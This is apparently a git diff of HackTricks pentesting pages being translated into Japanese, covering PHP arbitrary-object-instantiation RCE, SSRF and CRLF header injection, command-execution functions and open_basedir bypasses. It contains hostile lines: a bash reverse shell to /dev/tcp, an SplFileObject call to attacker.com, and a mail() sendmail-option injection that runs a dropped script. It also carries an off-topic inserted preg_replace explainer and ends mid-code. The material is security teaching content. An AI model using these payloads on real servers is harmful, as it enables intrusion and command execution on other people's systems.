☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Introduction +## はじめに -In the situation where you can create a new arbitrary object like `new $_GET["a"]($_GET["a"])`you might be able to obtain RCE, and [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) exposes different ways to get RCE. +`new $_GET["a"]($_GET["b"])`のように任意のオブジェクトを作成できる状況では、RCEを取得することができるかもしれません。[**この解説**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)では、RCEを取得するためのさまざまな方法が公開されています。 -## RCE via Custom Classes or Autoloading +## カスタムクラスまたはオートローディングによるRCE -In the construction `new $a($b)`, the **variable `$a` stands for the class name** that the object will be created for, and the variable **`$b` stands for the first argument** that will be passed to the object’s constructor. +構文`new $a($b)`では、**変数`$a`はオブジェクトが作成されるクラス名**を表し、変数**`$b`はオブジェクトのコンストラクタに渡される最初の引数**を表します。 -If `$a` and `$b` come from GET/POST, they can be **strings or string arrays**. If they come from **JSON** or elsewhere, they **might have other types**, such as object or boolean. - -Let’s consider the following example: +`$a`と`$b`がGET/POSTから取得される場合、それらは**文字列または文字列の配列**である可能性があります。JSONや他の場所から取得される場合、オブジェクトやブール値などの**他の型**を持つ可能性があります。 +次の例を考えてみましょう: ```php class App { - function __construct ($cmd) { - system($cmd); - } +function __construct ($cmd) { +system($cmd); +} } # Additionally, in PHP < 8.0 a constructor might be defined using the name of the class class App2 { - function App2 ($cmd) { - system($cmd); - } +function App2 ($cmd) { +system($cmd); +} } # Vulnerable code @@ -48,99 +47,90 @@ $b = $_GET['b']; new $a($b); ``` +このコードでは、`$a`を`App`または`App2`に設定し、`$b`を`uname -a`に設定することができます。その後、`uname -a`コマンドが実行されます。 -In this code, you can set `$a` to `App` or `App2` and `$b` to `uname -a`. After this, the command `uname -a` will be executed. - -When there are no such exploitable classes in your application, or you have the class needed in a separate file that isn’t included by the vulnerable code, you may take a look at autoloading functions. - -**Autoloading functions** are set by registering callbacks via `spl_autoload_register` or by defining `__autoload`. They are called when an instance of an unknown class is trying to be created. +アプリケーションにこのような攻撃可能なクラスがない場合、または必要なクラスが脆弱なコードによって含まれていない別のファイルにある場合、オートローディング関数を確認することができます。 +**オートローディング関数**は、`spl_autoload_register`を使用してコールバックを登録するか、`__autoload`を定義することで設定されます。これらの関数は、不明なクラスのインスタンスが作成されようとしているときに呼び出されます。 ```php # An example of an autoloading function spl_autoload_register(function ($class_name) { - include './../classes/' . $class_name . '.php'; +include './../classes/' . $class_name . '.php'; }); # An example of an autoloading function, works only in PHP < 8.0 function __autoload($class_name) { - include $class_name . '.php'; +include $class_name . '.php'; }; # Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path spl_autoload_register(); ``` +PHPのバージョンとオートローディングのコードによっては、オートローディングを介してリモートコード実行を行う方法が存在する場合があります。 -Depending on the PHP version, and the code in the autoloading functions, some ways to get a Remote Code Execution via autoloading might exist. +## 組み込みクラスによるRCE -## RCE via Built-In Classes - -When you don’t have custom classes and autoloading, you can rely on **built-in PHP classes only**. - -There are from 100 to 200 built-in PHP classes. The number of them depends on the PHP version and the extensions installed. All of built-in classes can be listed via the `get_declared_classes` function, together with the custom classes: +カスタムクラスとオートローディングがない場合、**組み込みのPHPクラスのみ**に頼ることができます。 +組み込みのPHPクラスは100から200個あります。その数はPHPのバージョンとインストールされている拡張によって異なります。組み込みクラスは、`get_declared_classes`関数を使用してカスタムクラスと共にリストアップすることができます。 ```php var_dump(get_declared_classes()); ``` +有用なコンストラクタを持つクラスは、[リフレクションAPI](https://www.php.net/manual/en/book.reflection.php)を使用して見つけることができます。 -Classes with useful constructors can be found via [the reflection API](https://www.php.net/manual/en/book.reflection.php). - -Displaying constructors and their parameters using the reflation API: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\ +リフレクションAPIを使用してコンストラクタとそのパラメータを表示する方法: [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF)\ ![](https://swarm.ptsecurity.com/wp-content/uploads/2022/07/2.png) -If you control **multiple constructor parameters and can call arbitrary methods** afterwards, there are many ways to get a Remote Code Execution. But if you can pass **only one parameter and don’t have any calls** to the created object, there is **almost nothing**. +もし、**複数のコンストラクタパラメータを制御し、その後任意のメソッドを呼び出す**ことができる場合、リモートコード実行を行うための多くの方法があります。しかし、**1つのパラメータしか渡せず、作成されたオブジェクトに対して何の呼び出しも行わない**場合、ほとんど何もできません。 -I know of only three ways to get something from `new $a($b)`. +`new $a($b)`から何かを取得する方法は、私が知っているのは3つだけです。 -### **SSRF + Phar deserialization** - -The `SplFileObject` class implements a constructor that allows connection to any local or remote URL: +### **SSRF + Pharデシリアライズ** +`SplFileObject`クラスは、任意のローカルまたはリモートURLへの接続を許可するコンストラクタを実装しています。 ``` new SplFileObject('http://attacker.com/'); ``` +これにより、SSRF(Server-Side Request Forgery)が可能になります。さらに、PHP < 8.0のSSRFは、Pharプロトコルを使用した手法によって逆シリアル化に変換される可能性があります。 -This allows SSRF. Additionally, SSRFs in PHP < 8.0 could be turned into deserializations via techniques with the Phar protocol. - -### **Exploiting PDOs** - -The PDO class has another interesting constructor: +### **PDOの悪用** +PDOクラスにはもう1つ興味深いコンストラクタがあります: ```php new PDO("sqlite:/tmp/test.txt") ``` - -The `PDO` constructor accepts DSN strings, allowing us to **connect to any local or remote database** using **installed database extensions**. For example, the SQLite extension can create empty files. +`PDO`のコンストラクタはDSN文字列を受け入れ、**インストールされたデータベース拡張機能**を使用して**ローカルまたはリモートのデータベースに接続**することができます。たとえば、SQLite拡張機能は空のファイルを作成できます。 ### **SoapClient/SimpleXMLElement XXE** -In PHP ≤ 5.3.22 and ≤ 5.4.12, the constructor of SoapClient was **vulnerable to XXE**. The constructor of SimpleXMLElement was vulnerable to XXE as well, but it required libxml2 < 2.9. +PHP ≤ 5.3.22および≤ 5.4.12では、SoapClientのコンストラクタは**XXEに対して脆弱**でした。SimpleXMLElementのコンストラクタもXXEに対して脆弱でしたが、libxml2 < 2.9が必要でした。 -## RCE via Imagick Extension +## Imagick拡張を使用したRCE -Checking the **dependencies** of the **project** you are trying to exploit you could find **new classes** that could be **abused to execute commands** creating a new object. In this case, **Imagick** was found to be useful for that purpose. +攻撃しようとしている**プロジェクト**の**依存関係**をチェックすると、新しいクラスが見つかる場合があります。これらのクラスを**新しいオブジェクトを作成してコマンドを実行するために悪用**することができます。この場合、**Imagick**がその目的に役立つことがわかりました。 -### VID parser +### VIDパーサー -The VID parser allows to write arbitrary content in an arbitrary path inside the filesystem, which would allow an attacker to write a PHPshell in an accessible folder from the web page and get RCE. +VIDパーサーを使用すると、ファイルシステム内の任意のパスに任意のコンテンツを書き込むことができます。これにより、攻撃者はウェブページからアクセス可能なフォルダにPHPシェルを書き込み、RCEを取得することができます。 ![](<../../../.gitbook/assets/image (157) (3).png>) -#### VID Parser + FIle Upload +#### VIDパーサー+ファイルのアップロード -When a file is uploaded to PHP it's temporary stored in `/tmp/phpXXXXXX` . The VID parser of Imagick with the **msl** protocol allows to **specify wildcards in the file paths** (so the temporary uploaded file can be easily accessed) and **copy it to any arbitrary location**.\ -This is another way to get arbitrary file writing inside the filesystem: +PHPにファイルがアップロードされると、一時的に`/tmp/phpXXXXXX`に保存されます。ImagickのVIDパーサーは**msl**プロトコルを使用して、ファイルパスにワイルドカードを指定できます(アップロードされた一時ファイルに簡単にアクセスできるため)、そしてそれを**任意の場所にコピー**することができます。\ +これはファイルシステム内での任意のファイル書き込みを取得する別の方法です。 ![](<../../../.gitbook/assets/image (159).png>) -### PHP Crash + Brute Force +### PHPクラッシュ+ブルートフォース -The [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) explained another way to get RCE by **uploading files with specific content** and making the **server crash before it deletes** that file and then **bruteforcing the name** of the temporary file until **Imagick executes arbitrary PHP code**. +[**元の記事**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/)では、**特定の内容のファイルをアップロード**し、サーバーがそのファイルを削除する前に**クラッシュさせ**、その後一時ファイルの名前を**ブルートフォース**して**Imagickが任意のPHPコードを実行**する方法が説明されています。 -However, apparently the **crash trick** discovered only **worked in an old version of ImageMagick**. +ただし、この**クラッシュトリック**は、古いバージョンのImageMagickでのみ**動作するようです**。 -## References +## 参考文献 * [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) @@ -148,14 +138,14 @@ However, apparently the **crash trick** discovered only **worked in an old versi ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index 8ca5c5790..86d3e0443 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -4,31 +4,28 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* あなたは**サイバーセキュリティ会社**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -### SSRF PHP functions - -Some function such as _**file\_get\_contents(), fopen(), file(), md5\_file()** _ accept URLs as input that they will follow making **possible SSRF vulnerabilities** if the use can control the data: +### SSRF PHP関数 +**file\_get\_contents()、fopen()、file()、md5\_file()**などの一部の関数は、入力としてURLを受け入れ、それらをたどるため、データを制御できる場合に**SSRF脆弱性が発生する可能性**があります。 ```php file_get_contents("http://127.0.0.1:8081"); fopen("http://127.0.0.1:8081", "r"); file("http://127.0.0.1:8081"); md5_file("http://127.0.0.1:8081"); ``` - ### CRLF -Moreover, in some cases it might be even possible to send arbitrary headers via CRLF "vulnerabilities" in the previous functions: - +さらに、一部の場合では、前述の関数におけるCRLF "脆弱性"を介して任意のヘッダーを送信することができる場合があります。 ```php -# The following will create a header called from with value Hi and +# The following will create a header called from with value Hi and # an extra header "Injected: I HAVE IT" ini_set("from", "Hi\r\nInjected: I HAVE IT"); file_get_contents("http://127.0.0.1:8081"); @@ -41,37 +38,34 @@ Connection: close # Any of the previously mentioned functions will send those headers ``` - {% hint style="warning" %} -For more info about that CRLF vuln, check this bug [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1) +そのCRLFの脆弱性についての詳細は、このバグ[https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)を参照してください。 {% endhint %} -Note that these function might have other methods to set arbitrary headers in requests, like: - +これらの関数には、リクエストで任意のヘッダーを設定するための他の方法があるかもしれません。以下のようなものがあります: ```php $url = ""; $options = array( - 'http'=>array( - 'method'=>"GET", - 'header'=>"Accept-language: en\r\n" . - "Cookie: foo=bar\r\n" . // check function.stream-context-create on php.net - "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n" // i.e. An iPad - ) +'http'=>array( +'method'=>"GET", +'header'=>"Accept-language: en\r\n" . +"Cookie: foo=bar\r\n" . // check function.stream-context-create on php.net +"User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n" // i.e. An iPad +) ); $context = stream_context_create($options); $file = file_get_contents($url, false, $context); ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index ebad29364..bd825a91a 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -1,544 +1,551 @@ -# PHP - Useful Functions & disable\_functions/open\_basedir bypass +# PHP - 便利な関数とdisable\_functions/open\_basedirバイパス
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## PHP Command & Code Execution +## PHPコマンドとコードの実行 -### PHP Command Execution - -**exec** - Returns last line of commands output +### PHPコマンドの実行 +**exec** - コマンドの出力の最後の行を返します ```bash echo exec("uname -a"); ``` - -**passthru** - Passes commands output directly to the browser - +**passthru** - コマンドの出力を直接ブラウザに渡します ```bash echo passthru("uname -a"); ``` - -**system** - Passes commands output directly to the browser and returns last line - +**system** - ブラウザにコマンドの出力を直接表示し、最後の行を返します ```bash echo system("uname -a"); ``` - -**shell\_exec** - Returns commands output - +**shell\_exec** - コマンドの出力を返します ```bash echo shell_exec("uname -a"); ``` - -\`\` (backticks) - Same as shell\_exec() - +\`\`(バッククォート)- shell\_exec()と同じ ```bash echo `uname -a` ``` - -**popen** - Opens read or write pipe to process of a command - +**popen** - コマンドのプロセスに対して読み込みまたは書き込みパイプを開きます ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` - -**proc\_open** - Similar to popen() but greater degree of control - +**proc\_open** - popen()と似ていますが、より高度な制御が可能です。 ```bash proc_close(proc_open("uname -a",array(),$something)); ``` - **preg\_replace** +The `preg_replace` function is a powerful tool in PHP that allows you to perform regular expression-based search and replace operations on strings. It takes three parameters: the pattern to search for, the replacement string, and the input string. + +Here is the syntax for using `preg_replace`: + +```php +preg_replace($pattern, $replacement, $input); +``` + +- `$pattern`: This is the regular expression pattern that you want to search for in the input string. +- `$replacement`: This is the string that will replace the matched pattern. +- `$input`: This is the input string on which the search and replace operation will be performed. + +The `preg_replace` function returns a new string with the matched patterns replaced by the replacement string. If no matches are found, the original input string is returned unchanged. + +Here is an example usage of `preg_replace`: + +```php +$input = "Hello, World!"; +$pattern = "/World/"; +$replacement = "Universe"; + +$output = preg_replace($pattern, $replacement, $input); +echo $output; // Output: Hello, Universe! +``` + +In this example, the pattern `/World/` is searched for in the input string "Hello, World!" and replaced with the string "Universe". The resulting output is "Hello, Universe!". + +`preg_replace` is a versatile function that can be used for various string manipulation tasks, such as removing or modifying specific parts of a string based on a pattern. It is commonly used in web development for tasks like sanitizing user input, URL rewriting, and data validation. + +It is important to note that `preg_replace` uses regular expressions, which can be complex and require careful handling to avoid security vulnerabilities like code injection. Always validate and sanitize user input before using `preg_replace` to prevent potential security risks. ```php ``` - -**pcntl\_exec** - Executes a program (by default in modern and not so modern PHP you need to load the `pcntl.so` module to use this function) - +**pcntl\_exec** - プログラムを実行します(現代のPHPでは、この関数を使用するためには通常、`pcntl.so`モジュールをロードする必要があります) ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` - -**mail / mb\_send\_mail** - This function is used to send mails, but it can also be abused to inject arbitrary commands inside the `$options` parameter. This is because **php `mail` function** usually call `sendmail` binary inside the system and it allows you to **put extra options**. However, you won't be able to see the output of the executed command, so it's recommended to create shell script that writes the output to a file, execute it using mail, and print the output: - +**mail / mb\_send\_mail** - この関数はメールを送信するために使用されますが、`$options` パラメータ内に任意のコマンドを注入するためにも悪用されることがあります。これは、**php `mail` 関数**が通常システム内の `sendmail` バイナリを呼び出し、追加のオプションを指定できるためです。ただし、実行されたコマンドの出力は表示されないため、出力をファイルに書き込むシェルスクリプトを作成し、それを mail を使用して実行し、出力を表示することが推奨されます。 ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` +**dl** - この関数はPHPの拡張機能を動的にロードするために使用されます。この関数は常に存在するわけではないため、利用しようとする前に利用可能かどうかを確認する必要があります。[このページを読んで、この関数を悪用する方法を学びましょう](disable\_functions-bypass-dl-function.md)。 -**dl** - This function can be used to dynamically load a PHP extension. This function won't be present always, so you should check if it's available before trying to exploit it. Read[ this page to learn how to exploit this function](disable\_functions-bypass-dl-function.md). +### PHPコードの実行 -### PHP Code Execution - -Apart from eval there are other ways to execute PHP code: include/require can be used for remote code execution in the form of Local File Include and Remote File Include vulnerabilities.\ -**${\}** - If your input gets reflected in any PHP string, it will be executed.\ +eval以外にも、PHPコードを実行するための他の方法があります。include/requireは、ローカルファイルインクルードおよびリモートファイルインクルードの脆弱性の形式でリモートコード実行に使用できます。\ +**${\}** - 入力がPHPの文字列に反映される場合、実行されます。\ **eval()**\ -**assert()** - identical to eval()\ -**preg\_replace('/.\*/e',...)** - /e does an eval() on the match\ -**create\_function()** - Create a function and use eval()\ +**assert()** - eval()と同じです。\ +**preg\_replace('/.\*/e',...)** - /eは一致した部分に対してeval()を実行します。\ +**create\_function()** - 関数を作成し、eval()を使用します。\ **include()**\ **include\_once()**\ **require()**\ **require\_once()**\ **$\_GET\['func\_name']\($\_GET\['argument']);**\ **$func = new ReflectionFunction($\_GET\['func\_name']);**\ -**$func->invoke();** or\ +**$func->invoke();** または\ **$func->invokeArgs(array());**\ **serialize/unserialize** ## disable\_functions & open\_basedir -**Disabled functions** is the setting that can be configured in `.ini` files in PHP that will **forbid** the use of the indicated **functions**. **Open basedir** is the setting that indicates to PHP the folder that it can access.\ -The PHP setting sue to be configured in the path _/etc/php7/conf.d_ or similar. +**disable\_functions**は、PHPの`.ini`ファイルで設定できる設定で、指定された**関数**の使用を**禁止**します。**open\_basedir**は、PHPがアクセスできるフォルダを示す設定です。\ +PHPの設定は通常、_`/etc/php7/conf.d`_などのパスに設定されます。 -Both configuration can be seen in the output of **`phpinfo()`**: +両方の設定は、**`phpinfo()`**の出力で確認できます: ![](https://0xrick.github.io/images/hackthebox/kryptos/17.png) ![](<../../../../.gitbook/assets/image (347).png>) -## open\_basedir Bypass +## open\_basedirのバイパス -`open_basedir` will configure the folders that PHP can access, you **won't be able to to write/read/execute any file outside** those folders, but also you **won't even be able to list** other directories.\ -However, if somehow you are able to execute arbitrary PHP code you can **try** the following chunk of **codes** to try to **bypass** the restriction. +`open_basedir`は、PHPがアクセスできるフォルダを設定します。これにより、これらのフォルダの外部のファイルを書き込み/読み取り/実行することはできませんが、他のディレクトリをリストすることもできません。\ +ただし、何らかの方法で任意のPHPコードを実行できる場合、制限を**バイパス**するために次の**コード**の一部を試すことができます。 -### Listing dirs with glob:// bypass - -In this first example the `glob://` protocol with some path bypass is used: +### glob://バイパスでディレクトリのリストを表示 +最初の例では、`glob://`プロトコルといくつかのパスバイパスを使用してディレクトリのリストを表示します。 ```php __toString(); +foreach($it as $f) { +$file_list[] = $f->__toString(); } $it = new DirectoryIterator("glob:///v??/run/.*"); -foreach($it as $f) { - $file_list[] = $f->__toString(); +foreach($it as $f) { +$file_list[] = $f->__toString(); } -sort($file_list); -foreach($file_list as $f){ - echo "{$f}
"; +sort($file_list); +foreach($file_list as $f){ +echo "{$f}
